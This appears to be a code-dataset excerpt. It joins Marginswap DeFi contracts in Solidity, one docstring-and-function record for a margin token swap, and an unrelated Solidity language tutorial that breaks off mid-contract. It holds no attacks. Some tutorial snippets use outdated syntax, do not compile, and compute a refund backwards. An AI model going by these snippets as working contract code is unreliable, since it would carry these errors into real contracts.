tokenPrice.inverseLiquidationTokens = new address[](tokens.length);
bytes32 inverseAmms;
for (uint256 i = 0; tokens.length - 1 > i; i++) {
initPairPrice(tokens[i], tokens[i + 1], amms[i]);
bytes32 shifted =
bytes32(amms[i]) >> ((tokens.length - 2 - i) * 8);
inverseAmms = inverseAmms | shifted;
}
tokenPrice.inverseAmms = inverseAmms;
for (uint256 i = 0; tokens.length > i; i++) {
tokenPrice.inverseLiquidationTokens[i] = tokens[
tokens.length - i - 1
];
}
tokenPrice.priceFP = getPriceByPairs(tokens, amms);
tokenPrice.lastUpdated = block.timestamp;
}
}
function liquidateToPeg(address token, uint256 amount)
internal
returns (uint256)
{
if (token == peg) {
return amount;
} else {
TokenPrice storage tP = tokenPrices[token];
uint256[] memory amounts =
MarginRouter(marginRouter()).authorizedSwapExactT4T(
amount,
0,
tP.amms,
tP.liquidationTokens
);
uint256 outAmount = amounts[amounts.length - 1];
return outAmount;
}
}
function liquidateFromPeg(address token, uint256 targetAmount)
internal
returns (uint256)
{
if (token == peg) {
return targetAmount;
} else {
TokenPrice storage tP = tokenPrices[token];
uint256[] memory amounts =
MarginRouter(marginRouter()).authorizedSwapT4ExactT(
targetAmount,
type(uint256).max,
tP.amms,
tP.inverseLiquidationTokens
);
return amounts[0];
}
}
function getPriceByPairs(address[] memory tokens, bytes32 amms)
internal
returns (uint256 priceFP)
{
priceFP = FP112;
for (uint256 i; i < tokens.length - 1; i++) {
address inToken = tokens[i];
address outToken = tokens[i + 1];
address pair =
amms[i] == 0
? UniswapStyleLib.pairForUni(inToken, outToken)
: UniswapStyleLib.pairForSushi(inToken, outToken);
PairPrice storage pairPrice = pairPrices[pair][inToken];
(, , uint256 pairLastUpdated) = IUniswapV2Pair(pair).getReserves();
uint256 timeDelta = pairLastUpdated - pairPrice.lastUpdated;
if (timeDelta > voluntaryUpdateWindow) {
// we are in business
(address token0, ) =
UniswapStyleLib.sortTokens(inToken, outToken);
uint256 cumulative =
inToken == token0
? IUniswapV2Pair(pair).price0CumulativeLast()
: IUniswapV2Pair(pair).price1CumulativeLast();
uint256 pairPriceFP =
(cumulative - pairPrice.cumulative) / timeDelta;
priceFP = (priceFP * pairPriceFP) / FP112;
pairPrice.priceFP = pairPriceFP;
pairPrice.cumulative = cumulative;
pairPrice.lastUpdated = pairLastUpdated;
} else {
priceFP = (priceFP * pairPrice.priceFP) / FP112;
}
}
}
function initPairPrice(
address inToken,
address outToken,
bytes1 amm
) internal {
address pair =
amm == 0
? UniswapStyleLib.pairForUni(inToken, outToken)
: UniswapStyleLib.pairForSushi(inToken, outToken);
PairPrice storage pairPrice = pairPrices[pair][inToken];
if (pairPrice.lastUpdated == 0) {
(uint112 reserve0, uint112 reserve1, uint256 pairLastUpdated) =
IUniswapV2Pair(pair).getReserves();
(address token0, ) = UniswapStyleLib.sortTokens(inToken, outToken);
if (inToken == token0) {
pairPrice.priceFP = (FP112 * reserve1) / reserve0;
pairPrice.cumulative = IUniswapV2Pair(pair)
.price0CumulativeLast();
} else {
pairPrice.priceFP = (FP112 * reserve0) / reserve1;
pairPrice.cumulative = IUniswapV2Pair(pair)
.price1CumulativeLast();
}
pairPrice.lastUpdated = block.timestamp;
pairPrice.lastUpdated = pairLastUpdated;
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
import "./Roles.sol";
/// @title Role management behavior
/// Main characters are for service discovery
/// Whereas roles are for access control
contract RoleAware {
Roles public immutable roles;
mapping(uint256 => address) public mainCharacterCache;
mapping(address => mapping(uint256 => bool)) public roleCache;
constructor(address _roles) {
require(_roles != address(0), "Please provide valid roles address");
roles = Roles(_roles);
}
modifier noIntermediary() {
require(
msg.sender == tx.origin,
"Currently no intermediaries allowed for this function call"
);
_;
}
// @dev Throws if called by any account other than the owner or executor
modifier onlyOwnerExec() {
require(
owner() == msg.sender || executor() == msg.sender,
"Roles: caller is not the owner"
);
_;
}
modifier onlyOwnerExecDisabler() {
require(
owner() == msg.sender ||
executor() == msg.sender ||
disabler() == msg.sender,
"Caller is not the owner, executor or authorized disabler"
);
_;
}
modifier onlyOwnerExecActivator() {
require(
owner() == msg.sender ||
executor() == msg.sender ||
isTokenActivator(msg.sender),
"Caller is not the owner, executor or authorized activator"
);
_;
}
function updateRoleCache(uint256 role, address contr) public virtual {
roleCache[contr][role] = roles.getRole(role, contr);
}
function updateMainCharacterCache(uint256 role) public virtual {
mainCharacterCache[role] = roles.mainCharacters(role);
}
function owner() internal view returns (address) {
return roles.owner();
}
function executor() internal returns (address) {
return roles.executor();
}
function disabler() internal view returns (address) {
return mainCharacterCache[DISABLER];
}
function fund() internal view returns (address) {
return mainCharacterCache[FUND];
}
function lending() internal view returns (address) {
return mainCharacterCache[LENDING];
}
function marginRouter() internal view returns (address) {
return mainCharacterCache[MARGIN_ROUTER];
}
function crossMarginTrading() internal view returns (address) {
return mainCharacterCache[CROSS_MARGIN_TRADING];
}
function feeController() internal view returns (address) {
return mainCharacterCache[FEE_CONTROLLER];
}
function price() internal view returns (address) {
return mainCharacterCache[PRICE_CONTROLLER];
}
function admin() internal view returns (address) {
return mainCharacterCache[ADMIN];
}
function incentiveDistributor() internal view returns (address) {
return mainCharacterCache[INCENTIVE_DISTRIBUTION];
}
function tokenAdmin() internal view returns (address) {
return mainCharacterCache[TOKEN_ADMIN];
}
function isBorrower(address contr) internal view returns (bool) {
return roleCache[contr][BORROWER];
}
function isFundTransferer(address contr) internal view returns (bool) {
return roleCache[contr][FUND_TRANSFERER];
}
function isMarginTrader(address contr) internal view returns (bool) {
return roleCache[contr][MARGIN_TRADER];
}
function isFeeSource(address contr) internal view returns (bool) {
return roleCache[contr][FEE_SOURCE];
}
function isMarginCaller(address contr) internal view returns (bool) {
return roleCache[contr][MARGIN_CALLER];
}
function isLiquidator(address contr) internal view returns (bool) {
return roleCache[contr][LIQUIDATOR];
}
function isAuthorizedFundTrader(address contr)
internal
view
returns (bool)
{
return roleCache[contr][AUTHORIZED_FUND_TRADER];
}
function isIncentiveReporter(address contr) internal view returns (bool) {
return roleCache[contr][INCENTIVE_REPORTER];
}
function isTokenActivator(address contr) internal view returns (bool) {
return roleCache[contr][TOKEN_ACTIVATOR];
}
function isStakePenalizer(address contr) internal view returns (bool) {
return roleCache[contr][STAKE_PENALIZER];
}
function isLender(address contr) internal view returns (bool) {
return roleCache[contr][LENDER];
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "../interfaces/IDependencyController.sol";
// we chose not to go with an enum
// to make this list easy to extend
uint256 constant FUND_TRANSFERER = 1;
uint256 constant MARGIN_CALLER = 2;
uint256 constant BORROWER = 3;
uint256 constant MARGIN_TRADER = 4;
uint256 constant FEE_SOURCE = 5;
uint256 constant LIQUIDATOR = 6;
uint256 constant AUTHORIZED_FUND_TRADER = 7;
uint256 constant INCENTIVE_REPORTER = 8;
uint256 constant TOKEN_ACTIVATOR = 9;
uint256 constant STAKE_PENALIZER = 10;
uint256 constant LENDER = 11;
uint256 constant FUND = 101;
uint256 constant LENDING = 102;
uint256 constant MARGIN_ROUTER = 103;
uint256 constant CROSS_MARGIN_TRADING = 104;
uint256 constant FEE_CONTROLLER = 105;
uint256 constant PRICE_CONTROLLER = 106;
uint256 constant ADMIN = 107;
uint256 constant INCENTIVE_DISTRIBUTION = 108;
uint256 constant TOKEN_ADMIN = 109;
uint256 constant DISABLER = 1001;
uint256 constant DEPENDENCY_CONTROLLER = 1002;
/// @title Manage permissions of contracts and ownership of everything
/// owned by a multisig wallet (0xEED9D1c6B4cdEcB3af070D85bfd394E7aF179CBd) during
/// beta and will then be transfered to governance
/// https://github.com/marginswap/governance
contract Roles is Ownable {
mapping(address => mapping(uint256 => bool)) public roles;
mapping(uint256 => address) public mainCharacters;
constructor() Ownable() {
// token activation from the get-go
roles[msg.sender][TOKEN_ACTIVATOR] = true;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwnerExecDepController() {
require(
owner() == msg.sender ||
executor() == msg.sender ||
mainCharacters[DEPENDENCY_CONTROLLER] == msg.sender,
"Roles: caller is not the owner"
);
_;
}
function giveRole(uint256 role, address actor)
external
onlyOwnerExecDepController
{
roles[actor][role] = true;
}
function removeRole(uint256 role, address actor)
external
onlyOwnerExecDepController
{
roles[actor][role] = false;
}
function setMainCharacter(uint256 role, address actor)
external
onlyOwnerExecDepController
{
mainCharacters[role] = actor;
}
function getRole(uint256 role, address contr) external view returns (bool) {
return roles[contr][role];
}
/// @dev current executor
function executor() public returns (address exec) {
address depController = mainCharacters[DEPENDENCY_CONTROLLER];
if (depController != address(0)) {
exec = IDependencyController(depController).currentExecutor();
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
interface IDependencyController {
function currentExecutor() external returns (address);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
interface IMarginTrading {
function registerDeposit(
address trader,
address token,
uint256 amount
) external returns (uint256 extinguishAmount);
function registerWithdrawal(
address trader,
address token,
uint256 amount
) external;
function registerBorrow(
address trader,
address token,
uint256 amount
) external;
function registerTradeAndBorrow(
address trader,
address inToken,
address outToken,
uint256 inAmount,
uint256 outAmount
) external returns (uint256 extinguishAmount, uint256 borrowAmount);
function registerOvercollateralizedBorrow(
address trader,
address depositToken,
uint256 depositAmount,
address borrowToken,
uint256 withdrawAmount
) external;
function registerLiquidation(address trader) external;
function getHoldingAmounts(address trader)
external
view
returns (
address[] memory holdingTokens,
uint256[] memory holdingAmounts
);
function getBorrowAmounts(address trader)
external
view
returns (address[] memory borrowTokens, uint256[] memory borrowAmounts);
}
pragma solidity >=0.5.0;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function withdraw(uint256) external;
}
library IncentiveReporter {
event AddToClaim(address topic, address indexed claimant, uint256 amount);
event SubtractFromClaim(
address topic,
address indexed claimant,
uint256 amount
);
/// Start / increase amount of claim
function addToClaimAmount(
address topic,
address recipient,
uint256 claimAmount
) internal {
emit AddToClaim(topic, recipient, claimAmount);
}
/// Decrease amount of claim
function subtractFromClaimAmount(
address topic,
address recipient,
uint256 subtractAmount
) internal {
emit SubtractFromClaim(topic, recipient, subtractAmount);
}
}
pragma solidity >=0.5.0;
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
library UniswapStyleLib {
address constant UNISWAP_FACTORY =
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address constant SUSHI_FACTORY = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB)
internal
pure
returns (address token0, address token1)
{
require(tokenA != tokenB, "Identical address!");
(token0, token1) = tokenA < tokenB
? (tokenA, tokenB)
: (tokenB, tokenA);
require(token0 != address(0), "Zero address!");
}
// fetches and sorts the reserves for a pair
function getReserves(
address pair,
address tokenA,
address tokenB
) internal view returns (uint256 reserveA, uint256 reserveB) {
(address token0, ) = sortTokens(tokenA, tokenB);
(uint256 reserve0, uint256 reserve1, ) =
IUniswapV2Pair(pair).getReserves();
(reserveA, reserveB) = tokenA == token0
? (reserve0, reserve1)
: (reserve1, reserve0);
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountOut) {
require(amountIn > 0, "INSUFFICIENT_INPUT_AMOUNT");
require(
reserveIn > 0 && reserveOut > 0,
"UniswapV2Library: INSUFFICIENT_LIQUIDITY"
);
uint256 amountInWithFee = amountIn * 997;
uint256 numerator = amountInWithFee * reserveOut;
uint256 denominator = reserveIn * 1_000 + amountInWithFee;
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountIn) {
require(amountOut > 0, "INSUFFICIENT_OUTPUT_AMOUNT");
require(
reserveIn > 0 && reserveOut > 0,
"UniswapV2Library: INSUFFICIENT_LIQUIDITY"
);
uint256 numerator = reserveIn * amountOut * 1_000;
uint256 denominator = (reserveOut - amountOut) * 997;
amountIn = (numerator / denominator) + 1;
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(
uint256 amountIn,
bytes32 amms,
address[] memory tokens
) internal view returns (uint256[] memory amounts, address[] memory pairs) {
require(tokens.length >= 2, "token path too short");
amounts = new uint256[](tokens.length);
amounts[0] = amountIn;
pairs = new address[](tokens.length - 1);
for (uint256 i; i < tokens.length - 1; i++) {
address inToken = tokens[i];
address outToken = tokens[i + 1];
address pair =
amms[i] == 0
? pairForUni(inToken, outToken)
: pairForSushi(inToken, outToken);
pairs[i] = pair;
(uint256 reserveIn, uint256 reserveOut) =
getReserves(pair, inToken, outToken);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(
uint256 amountOut,
bytes32 amms,
address[] memory tokens
) internal view returns (uint256[] memory amounts, address[] memory pairs) {
require(tokens.length >= 2, "token path too short");
amounts = new uint256[](tokens.length);
amounts[amounts.length - 1] = amountOut;
pairs = new address[](tokens.length - 1);
for (uint256 i = tokens.length - 1; i > 0; i--) {
address inToken = tokens[i - 1];
address outToken = tokens[i];
address pair =
amms[i - 1] == 0
? pairForUni(inToken, outToken)
: pairForSushi(inToken, outToken);
pairs[i - 1] = pair;
(uint256 reserveIn, uint256 reserveOut) =
getReserves(pair, inToken, outToken);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
// calculates the CREATE2 address for a pair without making any external calls
function pairForUni(address tokenA, address tokenB)
internal
pure
returns (address pair)
{
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(
uint160(
uint256(
keccak256(
abi.encodePacked(
hex"ff",
UNISWAP_FACTORY,
keccak256(abi.encodePacked(token0, token1)),
hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash
)
)
)
)
);
}
function pairForSushi(address tokenA, address tokenB)
internal
pure
returns (address pair)
{
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(
uint160(
uint256(
keccak256(
abi.encodePacked(
hex"ff",
SUSHI_FACTORY,
keccak256(abi.encodePacked(token0, token1)),
hex"e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303" // init code hash
)
)
)
)
);
}
}
|
entry point for swapping tokens held in cross margin account calc fees checks that trader is within allowed lending bounds
|
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
bytes32 amms,
address[] calldata tokens,
uint256 deadline
) external ensure(deadline) returns (uint256[] memory amounts) {
uint256 fees = takeFeesFromInput(amountIn);
address[] memory pairs;
(amounts, pairs) = UniswapStyleLib.getAmountsOut(
amountIn - fees,
amms,
tokens
);
registerTrade(
msg.sender,
tokens[0],
tokens[tokens.length - 1],
amountIn,
amounts[amounts.length - 1]
);
_fundSwapExactT4T(amounts, amountOutMin, pairs, tokens);
}
| 563,890 |
// First, a simple Bank contract
// Allows deposits, withdrawals, and balance checks
// simple_bank.sol (note .sol extension)
/* **** START EXAMPLE **** */
// Declare the source file compiler version
pragma solidity ^0.4.19;
// Start with Natspec comment (the three slashes)
// used for documentation - and as descriptive data for UI elements/actions
/// @title SimpleBank
/// @author nemild
/* 'contract' has similarities to 'class' in other languages (class variables,
inheritance, etc.) */
contract SimpleBank { // CapWords
// Declare state variables outside function, persist through life of contract
// dictionary that maps addresses to balances
// always be careful about overflow attacks with numbers
mapping (address => uint) private balances;
// "private" means that other contracts can't directly query balances
// but data is still viewable to other parties on blockchain
address public owner;
// 'public' makes externally readable (not writeable) by users or contracts
// Events - publicize actions to external listeners
event LogDepositMade(address accountAddress, uint amount);
// Constructor, can receive one or many variables here; only one allowed
function SimpleBank() public {
// msg provides details about the message that's sent to the contract
// msg.sender is contract caller (address of contract creator)
owner = msg.sender;
}
/// @notice Deposit ether into bank
/// @return The balance of the user after the deposit is made
function deposit() public payable returns (uint) {
// Use 'require' to test user inputs, 'assert' for internal invariants
// Here we are making sure that there isn't an overflow issue
require((balances[msg.sender] + msg.value) >= balances[msg.sender]);
balances[msg.sender] += msg.value;
// no "this." or "self." required with state variable
// all values set to data type's initial value by default
LogDepositMade(msg.sender, msg.value); // fire event
return balances[msg.sender];
}
/// @notice Withdraw ether from bank
/// @dev This does not return any excess ether sent to it
/// @param withdrawAmount amount you want to withdraw
/// @return The balance remaining for the user
function withdraw(uint withdrawAmount) public returns (uint remainingBal) {
require(withdrawAmount <= balances[msg.sender]);
// Note the way we deduct the balance right away, before sending
// Every .transfer/.send from this contract can call an external function
// This may allow the caller to request an amount greater
// than their balance using a recursive call
// Aim to commit state before calling external functions, including .transfer/.send
balances[msg.sender] -= withdrawAmount;
// this automatically throws on a failure, which means the updated balance is reverted
msg.sender.transfer(withdrawAmount);
return balances[msg.sender];
}
/// @notice Get balance
/// @return The balance of the user
// 'view' (ex: constant) prevents function from editing state variables;
// allows function to run locally/off blockchain
function balance() view public returns (uint) {
return balances[msg.sender];
}
}
// ** END EXAMPLE **
// Now, the basics of Solidity
// 1. DATA TYPES AND ASSOCIATED METHODS
// uint used for currency amount (there are no doubles
// or floats) and for dates (in unix time)
uint x;
// int of 256 bits, cannot be changed after instantiation
int constant a = 8;
int256 constant a = 8; // same effect as line above, here the 256 is explicit
uint constant VERSION_ID = 0x123A1; // A hex constant
// with 'constant', compiler replaces each occurrence with actual value
// All state variables (those outside a function)
// are by default 'internal' and accessible inside contract
// and in all contracts that inherit ONLY
// Need to explicitly set to 'public' to allow external contracts to access
int256 public a = 8;
// For int and uint, can explicitly set space in steps of 8 up to 256
// e.g., int8, int16, int24
uint8 b;
int64 c;
uint248 e;
// Be careful that you don't overflow, and protect against attacks that do
// For example, for an addition, you'd do:
uint256 c = a + b;
assert(c >= a); // assert tests for internal invariants; require is used for user inputs
// For more examples of common arithmetic issues, see Zeppelin's SafeMath library
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
// No random functions built in, use other contracts for randomness
// Type casting
int x = int(b);
bool b = true; // or do 'var b = true;' for inferred typing
// Addresses - holds 20 byte/160 bit Ethereum addresses
// No arithmetic allowed
address public owner;
// Types of accounts:
// Contract account: address set on create (func of creator address, num transactions sent)
// External Account: (person/external entity): address created from public key
// Add 'public' field to indicate publicly/externally accessible
// a getter is automatically created, but NOT a setter
// All addresses can be sent ether
owner.transfer(SOME_BALANCE); // fails and reverts on failure
// Can also do a lower level .send call, which returns a false if it failed
if (owner.send) {} // REMEMBER: wrap send in 'if', as contract addresses have
// functions executed on send and these can fail
// Also, make sure to deduct balances BEFORE attempting a send, as there is a risk of a recursive
// call that can drain the contract
// Can check balance
owner.balance; // the balance of the owner (user or contract)
// Bytes available from 1 to 32
byte a; // byte is same as bytes1
bytes2 b;
bytes32 c;
// Dynamically sized bytes
bytes m; // A special array, same as byte[] array (but packed tightly)
// More expensive than byte1-byte32, so use those when possible
// same as bytes, but does not allow length or index access (for now)
string n = "hello"; // stored in UTF8, note double quotes, not single
// string utility functions to be added in future
// prefer bytes32/bytes, as UTF8 uses more storage
// Type inference
// var does inferred typing based on first assignment,
// can't be used in functions parameters
var a = true;
// use carefully, inference may provide wrong type
// e.g., an int8, when a counter needs to be int16
// var can be used to assign function to variable
function a(uint x) returns (uint) {
return x * 2;
}
var f = a;
f(22); // call
// by default, all values are set to 0 on instantiation
// Delete can be called on most types
// (does NOT destroy value, but sets value to 0, the initial value)
uint x = 5;
// Destructuring/Tuples
(x, y) = (2, 7); // assign/swap multiple values
// 2. DATA STRUCTURES
// Arrays
bytes32[5] nicknames; // static array
bytes32[] names; // dynamic array
uint newLength = names.push("John"); // adding returns new length of the array
// Length
names.length; // get length
names.length = 1; // lengths can be set (for dynamic arrays in storage only)
// multidimensional array
uint x[][5]; // arr with 5 dynamic array elements (opp order of most languages)
// Dictionaries (any type to any other type)
mapping (string => uint) public balances;
balances["charles"] = 1;
// balances["ada"] result is 0, all non-set key values return zeroes
// 'public' allows following from another contract
contractName.balances("charles"); // returns 1
// 'public' created a getter (but not setter) like the following:
function balances(string _account) returns (uint balance) {
return balances[_account];
}
// Nested mappings
mapping (address => mapping (address => uint)) public custodians;
// To delete
delete balances["John"];
delete balances; // sets all elements to 0
// Unlike other languages, CANNOT iterate through all elements in
// mapping, without knowing source keys - can build data structure
// on top to do this
// Structs
struct Bank {
address owner;
uint balance;
}
Bank b = Bank({
owner: msg.sender,
balance: 5
});
// or
Bank c = Bank(msg.sender, 5);
c.balance = 5; // set to new value
delete b;
// sets to initial value, set all variables in struct to 0, except mappings
// Enums
enum State { Created, Locked, Inactive }; // often used for state machine
State public state; // Declare variable from enum
state = State.Created;
// enums can be explicitly converted to ints
uint createdState = uint(State.Created); // 0
// Data locations: Memory vs. storage vs. calldata - all complex types (arrays,
// structs) have a data location
// 'memory' does not persist, 'storage' does
// Default is 'storage' for local and state variables; 'memory' for func params
// stack holds small local variables
// for most types, can explicitly set which data location to use
// 3. Simple operators
// Comparisons, bit operators and arithmetic operators are provided
// exponentiation: **
// exclusive or: ^
// bitwise negation: ~
// 4. Global Variables of note
// ** this **
this; // address of contract
// often used at end of contract life to transfer remaining balance to party
this.balance;
this.someFunction(); // calls func externally via call, not via internal jump
// ** msg - Current message received by the contract ** **
msg.sender; // address of sender
msg.value; // amount of ether provided to this contract in wei, the function should be marked "payable"
msg.data; // bytes, complete call data
msg.gas; // remaining gas
// ** tx - This transaction **
tx.origin; // address of sender of the transaction
tx.gasprice; // gas price of the transaction
// ** block - Information about current block **
now; // current time (approximately), alias for block.timestamp (uses Unix time)
// Note that this can be manipulated by miners, so use carefully
block.number; // current block number
block.difficulty; // current block difficulty
block.blockhash(1); // returns bytes32, only works for most recent 256 blocks
block.gasLimit();
// ** storage - Persistent storage hash **
storage['abc'] = 'def'; // maps 256 bit words to 256 bit words
// 4. FUNCTIONS AND MORE
// A. Functions
// Simple function
function increment(uint x) returns (uint) {
x += 1;
return x;
}
// Functions can return many arguments, and by specifying returned arguments
// name don't need to explicitly return
function increment(uint x, uint y) returns (uint x, uint y) {
x += 1;
y += 1;
}
// Call previous functon
uint (a,b) = increment(1,1);
// 'view' (alias for 'constant')
// indicates that function does not/cannot change persistent vars
// View function execute locally, not on blockchain
// Noted: constant keyword will soon be deprecated.
uint y = 1;
function increment(uint x) view returns (uint x) {
x += 1;
y += 1; // this line would fail
// y is a state variable, and can't be changed in a view function
}
// 'pure' is more strict than 'view' or 'constant', and does not
// even allow reading of state vars
// The exact rules are more complicated, so see more about
// view/pure:
// http://solidity.readthedocs.io/en/develop/contracts.html#view-functions
// 'Function Visibility specifiers'
// These can be placed where 'view' is, including:
// public - visible externally and internally (default for function)
// external - only visible externally (including a call made with this.)
// private - only visible in the current contract
// internal - only visible in current contract, and those deriving from it
// Generally, a good idea to mark each function explicitly
// Functions hoisted - and can assign a function to a variable
function a() {
var z = b;
b();
}
function b() {
}
// All functions that receive ether must be marked 'payable'
function depositEther() public payable {
balances[msg.sender] += msg.value;
}
// Prefer loops to recursion (max call stack depth is 1024)
// Also, don't setup loops that you haven't bounded,
// as this can hit the gas limit
// B. Events
// Events are notify external parties; easy to search and
// access events from outside blockchain (with lightweight clients)
// typically declare after contract parameters
// Typically, capitalized - and add Log in front to be explicit and prevent confusion
// with a function call
// Declare
event LogSent(address indexed from, address indexed to, uint amount); // note capital first letter
// Call
LogSent(from, to, amount);
/**
For an external party (a contract or external entity), to watch using
the Web3 Javascript library:
// The following is Javascript code, not Solidity code
Coin.LogSent().watch({}, '', function(error, result) {
if (!error) {
console.log("Coin transfer: " + result.args.amount +
" coins were sent from " + result.args.from +
" to " + result.args.to + ".");
console.log("Balances now:\n" +
"Sender: " + Coin.balances.call(result.args.from) +
"Receiver: " + Coin.balances.call(result.args.to));
}
}
**/
// Common paradigm for one contract to depend on another (e.g., a
// contract that depends on current exchange rate provided by another)
// C. Modifiers
// Modifiers validate inputs to functions such as minimal balance or user auth;
// similar to guard clause in other languages
// '_' (underscore) often included as last line in body, and indicates
// function being called should be placed there
modifier onlyAfter(uint _time) { require (now >= _time); _; }
modifier onlyOwner { require(msg.sender == owner) _; }
// commonly used with state machines
modifier onlyIfStateA (State currState) { require(currState == State.A) _; }
// Append right after function declaration
function changeOwner(newOwner)
onlyAfter(someTime)
onlyOwner()
onlyIfState(State.A)
{
owner = newOwner;
}
// underscore can be included before end of body,
// but explicitly returning will skip, so use carefully
modifier checkValue(uint amount) {
_;
if (msg.value > amount) {
uint amountToRefund = amount - msg.value;
msg.sender.transfer(amountToRefund);
}
}
// 6. BRANCHING AND LOOPS
// All basic logic blocks work - including if/else, for, while, break, continue
// return - but no switch
// Syntax same as javascript, but no type conversion from non-boolean
// to boolean (comparison operators must be used to get the boolean val)
// For loops that are determined by user behavior, be careful - as contracts have a maximal
// amount of gas for a block of code - and will fail if that is exceeded
// For example:
for(uint x = 0; x < refundAddressList.length; x++) {
refundAddressList[x].transfer(SOME_AMOUNT);
}
// Two errors above:
// 1. A failure on transfer stops the loop from completing, tying up money
// 2. This loop could be arbitrarily long (based on the amount of users who need refunds), and
// therefore may always fail as it exceeds the max gas for a block
// Instead, you should let people withdraw individually from their subaccount, and mark withdrawn
// e.g., favor pull payments over push payments
// 7. OBJECTS/CONTRACTS
// A. Calling external contract
contract InfoFeed {
function info() payable returns (uint ret) { return 42; }
}
contract Consumer {
InfoFeed feed; // points to contract on blockchain
// Set feed to existing contract instance
function setFeed(address addr) {
// automatically cast, be careful; constructor is not called
feed = InfoFeed(addr);
}
// Set feed to new instance of contract
function createNewFeed() {
feed = new InfoFeed(); // new instance created; constructor called
}
function callFeed() {
// final parentheses call contract, can optionally add
// custom ether value or gas
feed.info.value(10).gas(800)();
}
}
// B. Inheritance
// Order matters, last inherited contract (i.e., 'def') can override parts of
// previously inherited contracts
contract MyContract is abc, def("a custom argument to def") {
// Override function
function z() {
if (msg.sender == owner) {
def.z(); // call overridden function from def
super.z(); // call immediate parent overridden function
}
}
}
// abstract function
function someAbstractFunction(uint x);
// cannot be compiled, so used in base/abstract contracts
// that are then implemented
// C. Import
import "filename";
import "github.com/ethereum/dapp-bin/library/iterable_mapping.sol";
// 8. OTHER KEYWORDS
// A. Selfdestruct
// selfdestruct current contract, sending funds to address (often creator)
selfdestruct(SOME_ADDRESS);
// removes storage/code from current/future blocks
// helps thin clients, but previous data persists in blockchain
// Common pattern, lets owner end the contract and receive remaining funds
function remove() {
if(msg.sender == creator) { // Only let the contract creator do this
selfdestruct(creator); // Makes contract inactive, returns funds
}
}
// May want to deactivate contract manually, rather than selfdestruct
// (ether sent to selfdestructed contract is lost)
// 9. CONTRACT DESIGN NOTES
// A. Obfuscation
// All variables are publicly viewable on blockchain, so anything
// that is private needs to be obfuscated (e.g., hashed w/secret)
// Steps: 1. Commit to something, 2. Reveal commitment
keccak256("some_bid_amount", "some secret"); // commit
// call contract's reveal function in the future
// showing bid plus secret that hashes to SHA3
reveal(100, "mySecret");
// B. Storage optimization
// Writing to blockchain can be expensive, as data stored forever; encourages
// smart ways to use memory (eventually, compilation will be better, but for now
// benefits to planning data structures - and storing min amount in blockchain)
// Cost can often be high for items like multidimensional arrays
// (cost is for storing data - not declaring unfilled variables)
// C. Data access in blockchain
// Cannot restrict human or computer from reading contents of
// transaction or transaction's state
// While 'private' prevents other *contracts* from reading data
// directly - any other party can still read data in blockchain
// All data to start of time is stored in blockchain, so
// anyone can observe all previous data and changes
// D. Cron Job
// Contracts must be manually called to handle time-based scheduling; can create external
// code to regularly ping, or provide incentives (ether) for others to
// E. Observer Pattern
// An Observer Pattern lets you register as a subscriber and
// register a function which is called by the oracle (note, the oracle pays
// for this action to be run)
// Some similarities to subscription in Pub/sub
// This is an abstract contract, both client and server classes import
// the client should implement
contract SomeOracleCallback {
function oracleCallback(int _value, uint _time, bytes32 info) external;
}
contract SomeOracle {
SomeOracleCallback[] callbacks; // array of all subscribers
// Register subscriber
function addSubscriber(SomeOracleCallback a) {
callbacks.push(a);
}
function notify(value, time, info) private {
for(uint i = 0;i < callbacks.length; i++) {
// all called subscribers must implement the oracleCallback
callbacks[i].oracleCallback(value, time, info);
}
}
function doSomething() public {
// Code to do something
// Notify all subscribers
notify(_value, _time, _info);
}
}
// Now, your client contract can addSubscriber by importing SomeOracleCallback
// and registering with Some Oracle
// F. State machines
// see example below for State enum and inState modifier
// *** EXAMPLE: A crowdfunding example (broadly similar to Kickstarter) ***
// ** START EXAMPLE **
// CrowdFunder.sol
pragma solidity ^0.4.19;
/// @title CrowdFunder
/// @author nemild
contract CrowdFunder {
// Variables set on create by creator
address public creator;
address public fundRecipient; // creator may be different than recipient
uint public minimumToRaise; // required to tip, else everyone gets refund
string campaignUrl;
byte constant version = 1;
// Data structures
enum State {
Fundraising,
ExpiredRefund,
Successful
}
struct Contribution {
uint amount;
address contributor;
}
// State variables
State public state = State.Fundraising; // initialize on create
uint public totalRaised;
uint public raiseBy;
uint public completeAt;
Contribution[] contributions;
event LogFundingReceived(address addr, uint amount, uint currentTotal);
event LogWinnerPaid(address winnerAddress);
modifier inState(State _state) {
require(state == _state);
_;
}
modifier isCreator() {
require(msg.sender == creator);
_;
}
// Wait 24 weeks after final contract state before allowing contract destruction
modifier atEndOfLifecycle() {
require(((state == State.ExpiredRefund || state == State.Successful) &&
completeAt + 24 weeks < now));
_;
}
function CrowdFunder(
uint timeInHoursForFundraising,
string _campaignUrl,
address _fundRecipient,
uint _minimumToRaise)
public
{
